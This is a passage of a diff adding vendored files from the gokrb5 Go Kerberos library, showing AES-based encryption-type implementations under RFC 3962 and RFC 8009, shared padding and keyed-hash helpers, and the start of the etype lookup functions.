return rfc3962.EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e Aes128CtsHmacSha96) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
return rfc3962.EncryptMessage(key, message, usage, e)
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e Aes128CtsHmacSha96) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc3962.DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e Aes128CtsHmacSha96) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc3962.DecryptMessage(key, ciphertext, usage, e)
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e Aes128CtsHmacSha96) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc3961.DeriveKey(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e Aes128CtsHmacSha96) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc3961.DeriveRandom(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the plaintext message.
|
||||
func (e Aes128CtsHmacSha96) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
return rfc3961.VerifyIntegrity(protocolKey, ct, pt, usage, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e Aes128CtsHmacSha96) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e Aes128CtsHmacSha96) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
c, err := e.GetChecksumHash(protocolKey, data, usage)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(chksum, c)
|
||||
}
|
||||
+135
@@ -0,0 +1,135 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"hash"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc8009"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// RFC https://tools.ietf.org/html/rfc8009
|
||||
|
||||
// Aes128CtsHmacSha256128 implements Kerberos encryption type aes128-cts-hmac-sha256-128
|
||||
type Aes128CtsHmacSha256128 struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e Aes128CtsHmacSha256128) GetETypeID() int32 {
|
||||
return etypeID.AES128_CTS_HMAC_SHA256_128
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e Aes128CtsHmacSha256128) GetHashID() int32 {
|
||||
return chksumtype.HMAC_SHA256_128_AES128
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e Aes128CtsHmacSha256128) GetKeyByteSize() int {
|
||||
return 128 / 8
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e Aes128CtsHmacSha256128) GetKeySeedBitLength() int {
|
||||
return e.GetKeyByteSize() * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e Aes128CtsHmacSha256128) GetHashFunc() func() hash.Hash {
|
||||
return sha256.New
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e Aes128CtsHmacSha256128) GetMessageBlockByteSize() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e Aes128CtsHmacSha256128) GetDefaultStringToKeyParams() string {
|
||||
return "00008000"
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e Aes128CtsHmacSha256128) GetConfounderByteSize() int {
|
||||
return aes.BlockSize
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e Aes128CtsHmacSha256128) GetHMACBitLength() int {
|
||||
return 128
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e Aes128CtsHmacSha256128) GetCypherBlockBitLength() int {
|
||||
return aes.BlockSize * 8
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e Aes128CtsHmacSha256128) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
saltp := rfc8009.GetSaltP(salt, "aes128-cts-hmac-sha256-128")
|
||||
return rfc8009.StringToKey(secret, saltp, s2kparams, e)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e Aes128CtsHmacSha256128) RandomToKey(b []byte) []byte {
|
||||
return rfc8009.RandomToKey(b)
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e Aes128CtsHmacSha256128) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
return rfc8009.EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e Aes128CtsHmacSha256128) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
return rfc8009.EncryptMessage(key, message, usage, e)
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e Aes128CtsHmacSha256128) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc8009.DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e Aes128CtsHmacSha256128) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc8009.DecryptMessage(key, ciphertext, usage, e)
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e Aes128CtsHmacSha256128) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc8009.DeriveKey(protocolKey, usage, e), nil
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e Aes128CtsHmacSha256128) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc8009.DeriveRandom(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the ciphertext message.
|
||||
// The HMAC is calculated over the cipher state concatenated with the
|
||||
// AES output, instead of being calculated over the confounder and
|
||||
// plaintext. This allows the message receiver to verify the
|
||||
// integrity of the message before decrypting the message.
|
||||
// Therefore the pt value to this interface method is not use. Pass any []byte.
|
||||
func (e Aes128CtsHmacSha256128) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
// We don't need ib just there for the interface
|
||||
return rfc8009.VerifyIntegrity(protocolKey, ct, usage, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e Aes128CtsHmacSha256128) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e Aes128CtsHmacSha256128) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
c, err := e.GetChecksumHash(protocolKey, data, usage)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(chksum, c)
|
||||
}
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"hash"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3961"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3962"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// RFC 3962
|
||||
//+--------------------------------------------------------------------+
|
||||
//| protocol key format 128- or 256-bit string |
|
||||
//| |
|
||||
//| string-to-key function PBKDF2+DK with variable |
|
||||
//| iteration count (see |
|
||||
//| above) |
|
||||
//| |
|
||||
//| default string-to-key parameters 00 00 10 00 |
|
||||
//| |
|
||||
//| key-generation seed length key size |
|
||||
//| |
|
||||
//| random-to-key function identity function |
|
||||
//| |
|
||||
//| hash function, H SHA-1 |
|
||||
//| |
|
||||
//| HMAC output size, h 12 octets (96 bits) |
|
||||
//| |
|
||||
//| message block size, m 1 octet |
|
||||
//| |
|
||||
//| encryption/decryption functions, AES in CBC-CTS mode |
|
||||
//| E and D (cipher block size 16 |
|
||||
//| octets), with next-to- |
|
||||
//| last block (last block |
|
||||
//| if only one) as CBC-style |
|
||||
//| ivec |
|
||||
//+--------------------------------------------------------------------+
|
||||
//
|
||||
//+--------------------------------------------------------------------+
|
||||
//| encryption types |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| type name etype value key size |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| aes128-cts-hmac-sha1-96 17 128 |
|
||||
//| aes256-cts-hmac-sha1-96 18 256 |
|
||||
//+--------------------------------------------------------------------+
|
||||
//
|
||||
//+--------------------------------------------------------------------+
|
||||
//| checksum types |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| type name sumtype value length |
|
||||
//+--------------------------------------------------------------------+
|
||||
//| hmac-sha1-96-aes128 15 96 |
|
||||
//| hmac-sha1-96-aes256 16 96 |
|
||||
//+--------------------------------------------------------------------+
|
||||
|
||||
// Aes256CtsHmacSha96 implements Kerberos encryption type aes256-cts-hmac-sha1-96
|
||||
type Aes256CtsHmacSha96 struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e Aes256CtsHmacSha96) GetETypeID() int32 {
|
||||
return etypeID.AES256_CTS_HMAC_SHA1_96
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e Aes256CtsHmacSha96) GetHashID() int32 {
|
||||
return chksumtype.HMAC_SHA1_96_AES256
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e Aes256CtsHmacSha96) GetKeyByteSize() int {
|
||||
return 256 / 8
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e Aes256CtsHmacSha96) GetKeySeedBitLength() int {
|
||||
return e.GetKeyByteSize() * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e Aes256CtsHmacSha96) GetHashFunc() func() hash.Hash {
|
||||
return sha1.New
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e Aes256CtsHmacSha96) GetMessageBlockByteSize() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e Aes256CtsHmacSha96) GetDefaultStringToKeyParams() string {
|
||||
return "00001000"
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e Aes256CtsHmacSha96) GetConfounderByteSize() int {
|
||||
return aes.BlockSize
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e Aes256CtsHmacSha96) GetHMACBitLength() int {
|
||||
return 96
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e Aes256CtsHmacSha96) GetCypherBlockBitLength() int {
|
||||
return aes.BlockSize * 8
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e Aes256CtsHmacSha96) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
return rfc3962.StringToKey(secret, salt, s2kparams, e)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e Aes256CtsHmacSha96) RandomToKey(b []byte) []byte {
|
||||
return rfc3961.RandomToKey(b)
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e Aes256CtsHmacSha96) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
return rfc3962.EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e Aes256CtsHmacSha96) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
return rfc3962.EncryptMessage(key, message, usage, e)
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e Aes256CtsHmacSha96) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc3962.DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e Aes256CtsHmacSha96) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc3962.DecryptMessage(key, ciphertext, usage, e)
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e Aes256CtsHmacSha96) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc3961.DeriveKey(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e Aes256CtsHmacSha96) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc3961.DeriveRandom(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the plaintext message.
|
||||
func (e Aes256CtsHmacSha96) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
return rfc3961.VerifyIntegrity(protocolKey, ct, pt, usage, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e Aes256CtsHmacSha96) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e Aes256CtsHmacSha96) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
c, err := e.GetChecksumHash(protocolKey, data, usage)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(chksum, c)
|
||||
}
|
||||
+135
@@ -0,0 +1,135 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/hmac"
|
||||
"crypto/sha512"
|
||||
"hash"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc8009"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
// RFC https://tools.ietf.org/html/rfc8009
|
||||
|
||||
// Aes256CtsHmacSha384192 implements Kerberos encryption type aes256-cts-hmac-sha384-192
|
||||
type Aes256CtsHmacSha384192 struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e Aes256CtsHmacSha384192) GetETypeID() int32 {
|
||||
return etypeID.AES256_CTS_HMAC_SHA384_192
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e Aes256CtsHmacSha384192) GetHashID() int32 {
|
||||
return chksumtype.HMAC_SHA384_192_AES256
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e Aes256CtsHmacSha384192) GetKeyByteSize() int {
|
||||
return 192 / 8
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e Aes256CtsHmacSha384192) GetKeySeedBitLength() int {
|
||||
return e.GetKeyByteSize() * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e Aes256CtsHmacSha384192) GetHashFunc() func() hash.Hash {
|
||||
return sha512.New384
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e Aes256CtsHmacSha384192) GetMessageBlockByteSize() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e Aes256CtsHmacSha384192) GetDefaultStringToKeyParams() string {
|
||||
return "00008000"
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e Aes256CtsHmacSha384192) GetConfounderByteSize() int {
|
||||
return aes.BlockSize
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e Aes256CtsHmacSha384192) GetHMACBitLength() int {
|
||||
return 192
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e Aes256CtsHmacSha384192) GetCypherBlockBitLength() int {
|
||||
return aes.BlockSize * 8
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e Aes256CtsHmacSha384192) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
saltp := rfc8009.GetSaltP(salt, "aes256-cts-hmac-sha384-192")
|
||||
return rfc8009.StringToKey(secret, saltp, s2kparams, e)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e Aes256CtsHmacSha384192) RandomToKey(b []byte) []byte {
|
||||
return rfc8009.RandomToKey(b)
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e Aes256CtsHmacSha384192) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
return rfc8009.EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e Aes256CtsHmacSha384192) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
return rfc8009.EncryptMessage(key, message, usage, e)
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e Aes256CtsHmacSha384192) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc8009.DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e Aes256CtsHmacSha384192) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc8009.DecryptMessage(key, ciphertext, usage, e)
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e Aes256CtsHmacSha384192) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc8009.DeriveKey(protocolKey, usage, e), nil
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e Aes256CtsHmacSha384192) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc8009.DeriveRandom(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the ciphertext message.
|
||||
// The HMAC is calculated over the cipher state concatenated with the
|
||||
// AES output, instead of being calculated over the confounder and
|
||||
// plaintext. This allows the message receiver to verify the
|
||||
// integrity of the message before decrypting the message.
|
||||
// Therefore the pt value to this interface method is not use. Pass any []byte.
|
||||
func (e Aes256CtsHmacSha384192) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
// We don't need ib just there for the interface
|
||||
return rfc8009.VerifyIntegrity(protocolKey, ct, usage, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e Aes256CtsHmacSha384192) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e Aes256CtsHmacSha384192) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
c, err := e.GetChecksumHash(protocolKey, data, usage)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(chksum, c)
|
||||
}
|
||||
+143
@@ -0,0 +1,143 @@
|
||||
// Package common provides encryption methods common across encryption types
|
||||
package common
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/hmac"
|
||||
"encoding/binary"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
// ZeroPad pads bytes with zeros to nearest multiple of message size m.
|
||||
func ZeroPad(b []byte, m int) ([]byte, error) {
|
||||
if m <= 0 {
|
||||
return nil, errors.New("Invalid message block size when padding")
|
||||
}
|
||||
if b == nil || len(b) == 0 {
|
||||
return nil, errors.New("Data not valid to pad: Zero size")
|
||||
}
|
||||
if l := len(b) % m; l != 0 {
|
||||
n := m - l
|
||||
z := make([]byte, n)
|
||||
b = append(b, z...)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// PKCS7Pad pads bytes according to RFC 2315 to nearest multiple of message size m.
|
||||
func PKCS7Pad(b []byte, m int) ([]byte, error) {
|
||||
if m <= 0 {
|
||||
return nil, errors.New("Invalid message block size when padding")
|
||||
}
|
||||
if b == nil || len(b) == 0 {
|
||||
return nil, errors.New("Data not valid to pad: Zero size")
|
||||
}
|
||||
n := m - (len(b) % m)
|
||||
pb := make([]byte, len(b)+n)
|
||||
copy(pb, b)
|
||||
copy(pb[len(b):], bytes.Repeat([]byte{byte(n)}, n))
|
||||
return pb, nil
|
||||
}
|
||||
|
||||
// PKCS7Unpad removes RFC 2315 padding from byes where message size is m.
|
||||
func PKCS7Unpad(b []byte, m int) ([]byte, error) {
|
||||
if m <= 0 {
|
||||
return nil, errors.New("invalid message block size when unpadding")
|
||||
}
|
||||
if b == nil || len(b) == 0 {
|
||||
return nil, errors.New("padded data not valid: Zero size")
|
||||
}
|
||||
if len(b)%m != 0 {
|
||||
return nil, errors.New("padded data not valid: Not multiple of message block size")
|
||||
}
|
||||
c := b[len(b)-1]
|
||||
n := int(c)
|
||||
if n == 0 || n > len(b) {
|
||||
return nil, errors.New("padded data not valid: Data may not have been padded")
|
||||
}
|
||||
for i := 0; i < n; i++ {
|
||||
if b[len(b)-n+i] != c {
|
||||
return nil, errors.New("padded data not valid")
|
||||
}
|
||||
}
|
||||
return b[:len(b)-n], nil
|
||||
}
|
||||
|
||||
// GetHash generates the keyed hash value according to the etype's hash function.
|
||||
func GetHash(pt, key []byte, usage []byte, etype etype.EType) ([]byte, error) {
|
||||
k, err := etype.DeriveKey(key, usage)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("unable to derive key for checksum: %v", err)
|
||||
}
|
||||
mac := hmac.New(etype.GetHashFunc(), k)
|
||||
p := make([]byte, len(pt))
|
||||
copy(p, pt)
|
||||
mac.Write(p)
|
||||
return mac.Sum(nil)[:etype.GetHMACBitLength()/8], nil
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func GetChecksumHash(b, key []byte, usage uint32, etype etype.EType) ([]byte, error) {
|
||||
return GetHash(b, key, GetUsageKc(usage), etype)
|
||||
}
|
||||
|
||||
// GetIntegrityHash returns a keyed integrity hash of the bytes provided.
|
||||
func GetIntegrityHash(b, key []byte, usage uint32, etype etype.EType) ([]byte, error) {
|
||||
return GetHash(b, key, GetUsageKi(usage), etype)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the msg bytes is the same as the checksum provided.
|
||||
func VerifyChecksum(key, chksum, msg []byte, usage uint32, etype etype.EType) bool {
|
||||
//The ciphertext output is the concatenation of the output of the basic
|
||||
//encryption function E and a (possibly truncated) HMAC using the
|
||||
//specified hash function H, both applied to the plaintext with a
|
||||
//random confounder prefix and sufficient padding to bring it to a
|
||||
//multiple of the message block size. When the HMAC is computed, the
|
||||
//key is used in the protocol key form.
|
||||
expectedMAC, _ := GetChecksumHash(msg, key, usage, etype)
|
||||
return hmac.Equal(chksum, expectedMAC)
|
||||
}
|
||||
|
||||
// GetUsageKc returns the checksum key usage value for the usage number un.
|
||||
//
|
||||
// RFC 3961: The "well-known constant" used for the DK function is the key usage number, expressed as four octets in big-endian order, followed by one octet indicated below.
|
||||
//
|
||||
// Kc = DK(base-key, usage | 0x99);
|
||||
func GetUsageKc(un uint32) []byte {
|
||||
return getUsage(un, 0x99)
|
||||
}
|
||||
|
||||
// GetUsageKe returns the encryption key usage value for the usage number un
|
||||
//
|
||||
// RFC 3961: The "well-known constant" used for the DK function is the key usage number, expressed as four octets in big-endian order, followed by one octet indicated below.
|
||||
//
|
||||
// Ke = DK(base-key, usage | 0xAA);
|
||||
func GetUsageKe(un uint32) []byte {
|
||||
return getUsage(un, 0xAA)
|
||||
}
|
||||
|
||||
// GetUsageKi returns the integrity key usage value for the usage number un
|
||||
//
|
||||
// RFC 3961: The "well-known constant" used for the DK function is the key usage number, expressed as four octets in big-endian order, followed by one octet indicated below.
|
||||
//
|
||||
// Ki = DK(base-key, usage | 0x55);
|
||||
func GetUsageKi(un uint32) []byte {
|
||||
return getUsage(un, 0x55)
|
||||
}
|
||||
|
||||
func getUsage(un uint32, o byte) []byte {
|
||||
var buf bytes.Buffer
|
||||
binary.Write(&buf, binary.BigEndian, un)
|
||||
return append(buf.Bytes(), o)
|
||||
}
|
||||
|
||||
// IterationsToS2Kparams converts the number of iterations as an integer to a string representation.
|
||||
func IterationsToS2Kparams(i uint32) string {
|
||||
b := make([]byte, 4, 4)
|
||||
binary.BigEndian.PutUint32(b, i)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
+175
@@ -0,0 +1,175 @@
|
||||
// Package crypto implements cryptographic functions for Kerberos 5 implementation.
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/patype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/types"
|
||||
)
|
||||
|
||||
// GetEtype returns an instances of the required etype struct for the etype ID.
|
||||
func GetEtype(id int32) (etype.EType, error) {
|
||||
switch id {
|
||||
case etypeID.AES128_CTS_HMAC_SHA1_96:
|
||||
var et Aes128CtsHmacSha96
|
||||
return et, nil
|
||||
case etypeID.AES256_CTS_HMAC_SHA1_96:
|
||||
var et Aes256CtsHmacSha96
|
||||
return et, nil
|
||||
case etypeID.AES128_CTS_HMAC_SHA256_128:
|
||||
var et Aes128CtsHmacSha256128
|
||||
return et, nil
|
||||
case etypeID.AES256_CTS_HMAC_SHA384_192:
|
||||
var et Aes256CtsHmacSha384192
|
||||
return et, nil
|
||||
case etypeID.DES3_CBC_SHA1_KD:
|
||||
var et Des3CbcSha1Kd
|
||||
return et, nil
|
||||
case etypeID.RC4_HMAC:
|
||||
var et RC4HMAC
|
||||
return et, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown or unsupported EType: %d", id)
|
||||
}
|
||||
}
|
||||
|
||||
// GetChksumEtype returns an instances of the required etype struct for the checksum ID.
|
||||
func GetChksumEtype(id int32) (etype.EType, error) {
|
||||
switch id {
|
||||
case chksumtype.HMAC_SHA1_96_AES128:
|
||||
var et Aes128CtsHmacSha96
|
||||
return et, nil
|
||||
case chksumtype.HMAC_SHA1_96_AES256:
|
||||
var et Aes256CtsHmacSha96
|
||||
return et, nil
|
||||
case chksumtype.HMAC_SHA256_128_AES128:
|
||||
var et Aes128CtsHmacSha256128
|
||||
return et, nil
|
||||
case chksumtype.HMAC_SHA384_192_AES256:
|
||||
var et Aes256CtsHmacSha384192
|
||||
return et, nil
|
||||
case chksumtype.HMAC_SHA1_DES3_KD:
|
||||
var et Des3CbcSha1Kd
|
||||
return et, nil
|
||||
case chksumtype.KERB_CHECKSUM_HMAC_MD5:
|
||||
var et RC4HMAC
|
||||
return et, nil
|
||||
//case chksumtype.KERB_CHECKSUM_HMAC_MD5_UNSIGNED:
|
||||
// var et RC4HMAC
|
||||
// return et, nil
|
||||
default:
|
||||
return nil, fmt.Errorf("unknown or unsupported checksum type: %d", id)
|
||||
}
|
||||
}
|
||||
|
||||
// GetKeyFromPassword generates an encryption key from the principal's password.
|
||||
func GetKeyFromPassword(passwd string, cname types.PrincipalName, realm string, etypeID int32, pas types.PADataSequence) (types.EncryptionKey, etype.EType, error) {
|
||||
var key types.EncryptionKey
|
||||
et, err := GetEtype(etypeID)
|
||||
if err != nil {
|
||||
